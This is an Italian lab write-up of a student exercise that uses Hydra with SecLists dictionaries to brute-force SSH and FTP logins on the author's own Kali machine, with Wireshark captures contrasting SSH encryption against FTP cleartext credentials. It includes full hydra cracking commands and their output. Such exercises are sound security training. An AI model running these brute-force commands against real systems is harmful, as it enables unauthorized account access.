

Cracking con Hydra dei servizi SSH e FTP

Obiettivo

- Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete.
- Consolidare le conoscenze dei servizi stessi tramite la loro configurazione.

Cenni teorici

Hydra è uno dei più potenti e veloci tool di login cracking. È progettato per supportare numerosi protocolli di rete (oltre 50), permettendo di testare la robustezza delle password in modo automatizzato.

- **Funzionamento:** Hydra esegue un attacco di tipo **Dizionario** o **Brute Force**, tentando sistematicamente combinazioni di nomi utente e password fino a trovare quella corretta.
- **Parallelismo:** La sua forza risiede nella capacità di gestire più connessioni simultanee (task), velocizzando drasticamente il processo di cracking rispetto a un tentativo manuale.

SSH è un protocollo di rete utilizzato per stabilire una connessione remota sicura tra un client e un server. È lo standard per l'amministrazione di sistemi Linux.

- **Crittografia:** A differenza dei vecchi protocolli, SSH cifra tutto il traffico, inclusi i nomi utente e le password.
- **Handshake e Scambio Chiavi:** Prima di autenticarsi, il client e il server eseguono una complessa negoziazione matematica (spesso basata su algoritmi come **Elliptic Curve Diffie-Hellman**) per creare un tunnel protetto.
- **Difesa attiva:** È progettato per rilevare e ostacolare attacchi automatizzati; come visto nei test, può interrompere la connessione se rileva troppi errori in breve tempo.

FTP è uno dei protocolli più datati per il trasferimento di file tra computer su una rete.

Nonostante la sua efficienza nel muovere dati, presenta gravi lacune di sicurezza intrinseche.

- **Assenza di Cifratura:** FTP trasmette i dati in **testo chiaro**. Questo significa che chiunque possa intercettare il traffico (sniffing) può leggere le credenziali senza alcuno sforzo.
- **Velocità di Attacco:** Non dovendo eseguire complessi calcoli crittografici iniziali (handshake), le sessioni FTP si aprono e chiudono molto velocemente, rendendolo un bersaglio ideale per attacchi rapidi con Hydra.

Step guidati: **dizionario + add user + ssh**

È stato installato il pacchetto seclists su Kali Linux. Per ottimizzare i tempi del brute-force, i dizionari originali da 10 milioni di voci sono stati filtrati cercando la stringa "test".

Dizionario Utenti (xato-usernames.txt): ridotto a **3.986** voci.

Dizionario Password (xato-passwords.txt): ridotto a **2.601** voci.

Configurazione Bersaglio: È stata simulato un bersaglio creando l'utente test_user con password testpass.

```
(kali㉿kali)-[~]
$ sudo apt install seclists
Installing:
seclists

Summary:
Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 1542
Download size: 545 MB
Space needed: 1,935 MB / 48.6 GB available
```

```
(kali㉿kali)-[~]
$ cat /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt | grep test > xato-usernames.txt
```

```
(kali㉿kali)-[~]
$ cat /usr/share/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords.txt | grep test > xato-passwords.txt

(kali㉿kali)-[~]
$ cat xato-usernames.txt | wc -l
3986

(kali㉿kali)-[~]
$ cat xato-passwords.txt | wc -l
2601
```

```
(kali㉿kali)-[~]
$ sudo adduser test_user
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
   Room Number []:
   Work Phone []:
   Home Phone []:
    Other []:
Is the information correct? [Y/n] y
```

In seguito ho attivato il servizio ssh e testato la connessione del nuovo utente

```
(kali㉿kali)-[~]
$ sudo service ssh start
```

```
(kali㉿kali)-[~]
$ ssh test_user@192.168.10.100
test_user@192.168.10.100's password:
Linux kali 6.12.38-kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.38-1kali1 (2025-08-12) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user㉿kali)-[~]
$
```

Attacco & Analisi del Servizio SSH

Il servizio è stato attivato sulla porta 22 della macchina locale (192.168.10.100).

- **Esecuzione:** L'attacco è stato condotto con una configurazione a 2 task (-t2).
- **Risultato:** Viste le tempistiche elevate ho dovuto modificare ulteriormente i documenti contenenti le password e i nomi utente per permettere a hydra di identificare le credenziali.

```
(kali@kali)-[~]
$ hydra -L xato-usernames.txt -P xato-passwords.txt 192.168.10.100 -t2 -f ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or
or illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-16 12:48:42
[DATA] max 2 tasks per 1 server, overall 2 tasks, 30 login tries (l:6/p:5), ~15 tries per task
[DATA] attacking ssh://192.168.10.100:22/
[22][ssh] host: 192.168.10.100 login: test_user password: testpass
[STATUS] attack finished for 192.168.10.100 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-16 12:49:14
```

Analisi Wireshark:

- È stata rilevata la negoziazione delle chiavi (**Elliptic Curve Diffie-Hellman**).
- Tutti i pacchetti successivi sono stati identificati come **Encrypted packet**, rendendo impossibile la lettura dei dati nel traffico.

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000000	192.168.10.100	192.168.10.100	SSH	118	Server: Encrypted packet (len=52)
2	0.000352656	192.168.10.100	192.168.10.100	SSH	150	Client: Encrypted packet (len=84)
3	0.000366332	192.168.10.100	192.168.10.100	TCP	66	22 → 32788 [ACK] Seq=53 Ack=85 Win=505 Len=0 TSval=4136551196 TSecr=4136551196
4	0.959779439	192.168.10.100	192.168.10.100	SSH	118	Server: Encrypted packet (len=52)
5	0.960287974	192.168.10.100	192.168.10.100	SSH	150	Client: Encrypted packet (len=84)
6	0.960327331	192.168.10.100	192.168.10.100	TCP	66	22 → 32802 [ACK] Seq=53 Ack=85 Win=505 Len=0 TSval=4136552156 TSecr=4136552156
7	2.599053271	192.168.10.100	192.168.10.100	SSH	118	Server: Encrypted packet (len=52)
8	2.599449571	192.168.10.100	192.168.10.100	SSH	118	Client: Encrypted packet (len=52)
9	2.599475279	192.168.10.100	192.168.10.100	TCP	66	22 → 32788 [ACK] Seq=105 Ack=137 Win=505 Len=0 TSval=4136553795 TSecr=4136553795
10	2.599485991	192.168.10.100	192.168.10.100	TCP	66	32788 → 22 [FIN, ACK] Seq=137 Ack=105 Win=527 Len=0 TSval=4136553795 TSecr=4136553795
11	2.599681347	192.168.10.100	192.168.10.100	TCP	74	37870 → 22 [SYN] Seq=0 Win=65495 Len=0 MSS=65495 SACK_PERM TSval=4136553796 TSecr=...
12	2.599688259	192.168.10.100	192.168.10.100	TCP	74	22 → 37870 [SYN, ACK] Seq=0 Ack=1 Win=65483 Len=0 MSS=65495 SACK_PERM TSval=413655...
13	2.599695018	192.168.10.100	192.168.10.100	TCP	66	37870 → 22 [ACK] Seq=1 Ack=1 Win=65536 Len=0 TSval=4136553796 TSecr=4136553796
14	2.599719227	192.168.10.100	192.168.10.100	SSHv2	89	Client: Protocol (SSH-2.0-libssh_0.11.2)
15	2.599721939	192.168.10.100	192.168.10.100	TCP	66	22 → 37870 [ACK] Seq=1 Ack=24 Win=65536 Len=0 TSval=4136553796 TSecr=4136553796
16	2.603085065	192.168.10.100	192.168.10.100	TCP	66	22 → 32788 [FIN, ACK] Seq=105 Ack=138 Win=505 Len=0 TSval=4136553799 TSecr=4136553...
17	2.603104212	192.168.10.100	192.168.10.100	TCP	66	32788 → 22 [ACK] Seq=138 Ack=106 Win=527 Len=0 TSval=4136553799 TSecr=4136553799
18	2.609885908	192.168.10.100	192.168.10.100	SSHv2	99	Server: Protocol (SSH-2.0-OpenSSH_10.0p2 Debian-8)
19	2.609928328	192.168.10.100	192.168.10.100	TCP	66	37870 → 22 [ACK] Seq=24 Ack=34 Win=65536 Len=0 TSval=4136553806 TSecr=4136553806
20	2.610387825	192.168.10.100	192.168.10.100	SSHv2	970	Client: Key Exchange Init
21	2.629188725	192.168.10.100	192.168.10.100	SSHv2	1106	Server: Key Exchange Init
22	2.629465018	192.168.10.100	192.168.10.100	SSHv2	114	Client: Elliptic Curve Diffie-Hellman Key Exchange Init
23	2.640356744	192.168.10.100	192.168.10.100	SSHv2	558	Server: Elliptic Curve Diffie-Hellman Key Exchange Reply, New Keys, Encrypted pack...
24	2.640678332	192.168.10.100	192.168.10.100	SSHv2	82	Client: New Keys

Difesa Attiva: Durante tentativi più massicci, il server ha risposto bloccando l'attacco dopo troppi errori di connessione.

```
(kali@kali)-[~]
$ hydra -L xato-usernames.txt -P xato-passwords.txt 192.168.10.100 -t4 -f ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret
izations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-16 12:34:36
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a pr
n found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 10367586 login tries (l:3986/p:2601), ~2591897
k
[DATA] attacking ssh://192.168.10.100:22/
[ERROR] all children were disabled due too many connection errors
0 of 1 target completed, 0 valid password found
[INFO] Writing restore file because 2 server scans could not be completed
[ERROR] 1 target was disabled because of too many errors
[ERROR] 1 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-16 12:35:21
```

Attacco & Analisi del Servizio FTP

È stato installato e attivato il demone vsftpd.

```
(kali@kali)-[~]
$ sudo apt install vsftpd
[sudo] password for kali:
Installing:
vsftpd
```

```
(kali@kali)-[~]
$ sudo service vsftpd start
```

- **Esecuzione:** è stato possibile aumentare il numero di task (esempio: -t16) senza subire blocchi dal sistema nonostante il carico di errori commessi, ma per via del tempo necessario anche in questo caso ho dovuto modificare ulteriormente le liste.
- **Risultato:** Identificazione immediata della coppia valida (test_user/testpass).

```
(kali@kali)-[~]
$ hydra -L xato-usernames.txt -P xato-passwords.txt 192.168.10.100 -t2 -f ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret ser
for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-16 13:09:03
[DATA] max 2 tasks per 1 server, overall 2 tasks, 30 login tries (l:6/p:5), ~15 tries per task
[DATA] attacking ftp://192.168.10.100:21/
[21][ftp] host: 192.168.10.100 login: test_user password: testpass
[STATUS] attack finished for 192.168.10.100 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-16 13:09:36
```

```
(kali@kali)-[~]
$ hydra -L xato-usernames.txt -P xato-passwords.txt 192.168.10.100 -t16 -f ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or
or illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-16 17:04:02
[DATA] max 16 tasks per 1 server, overall 16 tasks, 10367586 login tries (l:3986/p:2601), ~647975 tries per task
[DATA] attacking ftp://192.168.10.100:21/
[STATUS] 293.00 tries/min, 293 tries in 00:01h, 10367293 to do in 589:44h, 16 active
[STATUS] 289.00 tries/min, 867 tries in 00:03h, 10366719 to do in 597:52h, 16 active
```

Analisi Wireshark:

- Le credenziali sono risultate **totalmente esposte in chiaro**.
- Attraverso la funzione "Follow TCP Stream", sono state catturate le stringhe USER supertest e PASS test.

The image shows a Wireshark packet capture of an FTP session. The main window displays a list of packets. Packet 53 is selected, and the 'Follow TCP Stream' window is open, showing the raw data of the stream. The data includes the text 'USER supertest' and 'PASS test'.

No.	Time	Source	Destination	Protocol	Length	Info
37	0.000339576	192.168.10.100	192.168.10.100	TCP	74	47402 → 21
38	0.000339919	192.168.10.100	192.168.10.100	TCP	74	47400 → 21
39	0.000340209	192.168.10.100	192.168.10.100	TCP	74	47404 → 21
40	0.000344867	192.168.10.100	192.168.10.100	TCP	74	21 → 47400
41	0.000345169	192.168.10.100	192.168.10.100	TCP	74	21 → 47404
42	0.000345464	192.168.10.100	192.168.10.100	TCP	74	21 → 47402
43	0.000350889	192.168.10.100	192.168.10.100	TCP	66	47402 → 21
44	0.000351071	192.168.10.100	192.168.10.100	TCP	66	47404 → 21
45	0.000351308	192.168.10.100	192.168.10.100	TCP	66	47400 → 21
46	0.001782521	192.168.10.100	192.168.10.100	FTP	86	Response:
47	0.001791134	192.168.10.100	192.168.10.100	TCP	66	47314 → 21
48	0.002635244	192.168.10.100	192.168.10.100	FTP	86	Response:
49	0.002643222	192.168.10.100	192.168.10.100	TCP	66	47320 → 21
50	0.002941049	192.168.10.100	192.168.10.100	TCP	74	47424 → 21
51	0.002948499	192.168.10.100	192.168.10.100	TCP	74	21 → 47424
52	0.002955898	192.168.10.100	192.168.10.100	TCP	66	47424 → 21
53	0.003283380	192.168.10.100	192.168.10.100	FTP	86	Response:
54	0.003289817	192.168.10.100	192.168.10.100	TCP	66	47326 → 21
55	0.003405866	192.168.10.100	192.168.10.100	FTP	86	Response:
56	0.003411310	192.168.10.100	192.168.10.100	TCP	66	47336 → 21

The 'Follow TCP Stream' window shows the raw data of the stream. The data includes the text 'USER supertest' and 'PASS test'.

```
220 (vsFTPd 3.0.5)
USER supertest
331 Please specify the password.
PASS test
530 Login incorrect.
```

Conclusioni Finali

Dall'analisi comparativa emerge che:

1. **FTP è insicuro:** La velocità di attacco è elevata e le credenziali sono intercettabili da chiunque possa analizzare il traffico di rete.
2. **SSH offre protezione ma è vulnerabile a password deboli:** Nonostante la crittografia impedisca lo sniffing, una password semplice può comunque essere scoperta, sebbene i tempi di negoziazione (handshake) rendano l'attacco molto più lento.